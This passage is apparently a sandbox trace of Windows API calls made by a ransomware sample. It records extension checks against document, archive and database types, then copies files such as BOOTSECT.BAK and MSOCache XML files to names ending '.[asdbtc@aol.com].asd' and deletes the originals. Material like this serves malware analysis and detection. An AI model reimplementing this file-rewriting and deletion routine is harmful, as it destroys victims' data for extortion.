lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.551] lstrlenW (lpString=".zip") returned 4 [0041.551] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString=".rar") returned 4 [0041.551] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString=".bz2") returned 4 [0041.551] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0041.551] lstrlenW (lpString=".7z") returned 3 [0041.551] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0041.551] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.551] lstrlenW (lpString=".dbf") returned 4 [0041.551] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0041.551] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.551] lstrlenW (lpString=".1cd") returned 4 [0041.551] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0041.551] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20 [0041.551] lstrlenW (lpString=".jpg") returned 4 [0041.551] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0041.552] Sleep (dwMilliseconds=0x64) [0041.784] lstrcmpiW (lpString1=".BAK", lpString2=".asd") returned 1 [0041.784] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0041.787] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0041.890] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=8192) returned 1 [0041.890] CloseHandle (hObject=0x16c) returned 1 [0041.890] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0041.890] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\bootsect.bak.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0041.890] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0041.890] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0041.890] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.890] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0041.890] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\bootsect.bak.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0041.991] GetLastError () returned 0x0 [0041.991] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x2000, lpOverlapped=0x0) returned 1 [0042.049] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x2010, lpOverlapped=0x0) returned 1 [0042.051] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.051] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0042.051] SetEndOfFile (hFile=0x174) returned 1 [0042.051] CloseHandle (hObject=0x174) returned 1 [0042.053] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.053] SetEndOfFile (hFile=0x16c) returned 1 [0042.054] CloseHandle (hObject=0x16c) returned 1 [0042.054] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x27) returned 1 [0042.054] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0042.055] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.055] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.055] lstrlenW (lpString=".doc") returned 4 [0042.055] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".docx") returned 5 [0042.055] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0042.055] lstrlenW (lpString=".pdf") returned 4 [0042.055] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".xls") returned 4 [0042.055] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".xlsx") returned 5 [0042.055] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0042.055] lstrlenW (lpString=".ppt") returned 4 [0042.055] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.055] lstrlenW (lpString=".zip") returned 4 [0042.055] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".rar") returned 4 [0042.055] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".bz2") returned 4 [0042.055] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0042.055] lstrlenW (lpString=".7z") returned 3 [0042.055] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0042.055] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString=".dbf") returned 4 [0042.056] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString=".1cd") returned 4 [0042.056] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0042.056] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString=".jpg") returned 4 [0042.056] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString=".doc") returned 4 [0042.056] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString=".docx") returned 5 [0042.056] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0042.056] lstrlenW (lpString=".pdf") returned 4 [0042.056] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString=".xls") returned 4 [0042.056] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString=".xlsx") returned 5 [0042.056] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0042.056] lstrlenW (lpString=".ppt") returned 4 [0042.056] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.056] lstrlenW (lpString=".zip") returned 4 [0042.056] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0042.056] lstrlenW (lpString=".rar") returned 4 [0042.057] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0042.057] lstrlenW (lpString=".bz2") returned 4 [0042.057] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0042.057] lstrlenW (lpString=".7z") returned 3 [0042.057] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0042.057] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.057] lstrlenW (lpString=".dbf") returned 4 [0042.057] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0042.057] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.057] lstrlenW (lpString=".1cd") returned 4 [0042.057] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0042.057] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0042.057] lstrlenW (lpString=".jpg") returned 4 [0042.057] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0042.057] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.057] lstrlenW (lpString="Setup.xml") returned 9 [0042.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.063] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1886) returned 1 [0042.063] CloseHandle (hObject=0x16c) returned 1 [0042.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0042.063] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.063] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.063] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.063] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0042.064] GetLastError () returned 0x0 [0042.064] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x75e, lpOverlapped=0x0) returned 1 [0042.072] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x760, lpOverlapped=0x0) returned 1 [0042.073] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.073] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.073] SetEndOfFile (hFile=0x174) returned 1 [0042.073] CloseHandle (hObject=0x174) returned 1 [0042.080] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.080] SetEndOfFile (hFile=0x16c) returned 1 [0042.081] CloseHandle (hObject=0x16c) returned 1 [0042.082] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.082] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0042.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.082] lstrlenW (lpString=".doc") returned 4 [0042.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.082] lstrlenW (lpString=".docx") returned 5 [0042.083] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.083] lstrlenW (lpString=".pdf") returned 4 [0042.083] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString=".xls") returned 4 [0042.083] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString=".xlsx") returned 5 [0042.083] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.083] lstrlenW (lpString=".ppt") returned 4 [0042.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.083] lstrlenW (lpString=".zip") returned 4 [0042.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.083] lstrlenW (lpString=".rar") returned 4 [0042.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString=".bz2") returned 4 [0042.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString=".7z") returned 3 [0042.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.083] lstrlenW (lpString=".dbf") returned 4 [0042.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.083] lstrlenW (lpString=".1cd") returned 4 [0042.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.083] lstrlenW (lpString=".jpg") returned 4 [0042.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.084] lstrlenW (lpString=".doc") returned 4 [0042.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString=".docx") returned 5 [0042.084] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0042.084] lstrlenW (lpString=".pdf") returned 4 [0042.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString=".xls") returned 4 [0042.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString=".xlsx") returned 5 [0042.084] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0042.084] lstrlenW (lpString=".ppt") returned 4 [0042.084] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.084] lstrlenW (lpString=".zip") returned 4 [0042.084] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.084] lstrlenW (lpString=".rar") returned 4 [0042.084] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString=".bz2") returned 4 [0042.084] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.084] lstrlenW (lpString=".7z") returned 3 [0042.084] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.084] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.084] lstrlenW (lpString=".dbf") returned 4 [0042.084] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.085] lstrlenW (lpString=".1cd") returned 4 [0042.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.085] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0042.085] lstrlenW (lpString=".jpg") returned 4 [0042.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.085] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.085] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0042.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.087] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=1450) returned 1 [0042.087] CloseHandle (hObject=0x16c) returned 1 [0042.087] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0042.087] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0042.087] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0042.087] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.088] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.088] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0042.088] GetLastError () returned 0x0 [0042.088] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x5aa, lpOverlapped=0x0) returned 1 [0042.090] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0042.091] ReadFile (in: hFile=0x16c, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0042.091] WriteFile (in: hFile=0x174, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0042.092] SetEndOfFile (hFile=0x174) returned 1 [0042.092] CloseHandle (hObject=0x174) returned 1 [0042.319] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0042.319] SetEndOfFile (hFile=0x16c) returned 1 [0042.340] CloseHandle (hObject=0x16c) returned 1 [0042.340] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0042.346] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.347] lstrlenW (lpString=".doc") returned 4 [0042.347] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString=".docx") returned 5 [0042.347] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.347] lstrlenW (lpString=".pdf") returned 4 [0042.347] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString=".xls") returned 4 [0042.347] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString=".xlsx") returned 5 [0042.347] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.347] lstrlenW (lpString=".ppt") returned 4 [0042.347] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.347] lstrlenW (lpString=".zip") returned 4 [0042.347] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.347] lstrlenW (lpString=".rar") returned 4 [0042.347] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString=".bz2") returned 4 [0042.347] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString=".7z") returned 3 [0042.347] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.347] lstrlenW (lpString=".dbf") returned 4 [0042.347] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.347] lstrlenW (lpString=".1cd") returned 4 [0042.347] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.347] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.348] lstrlenW (lpString=".jpg") returned 4 [0042.348] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.611] lstrlenW (lpString=".doc") returned 4 [0042.611] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0042.611] lstrlenW (lpString=".docx") returned 5 [0042.611] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0042.611] lstrlenW (lpString=".pdf") returned 4 [0042.611] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0042.611] lstrlenW (lpString=".xls") returned 4 [0042.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0042.611] lstrlenW (lpString=".xlsx") returned 5 [0042.611] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0042.611] lstrlenW (lpString=".ppt") returned 4 [0042.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0042.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.611] lstrlenW (lpString=".zip") returned 4 [0042.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0042.611] lstrlenW (lpString=".rar") returned 4 [0042.612] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0042.612] lstrlenW (lpString=".bz2") returned 4 [0042.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0042.612] lstrlenW (lpString=".7z") returned 3 [0042.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0042.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.612] lstrlenW (lpString=".dbf") returned 4 [0042.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0042.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.612] lstrlenW (lpString=".1cd") returned 4 [0042.612] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0042.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0042.612] lstrlenW (lpString=".jpg") returned 4 [0042.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0042.612] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0042.612] lstrlenW (lpString="WordMUI.xml") returned 11 [0042.612] 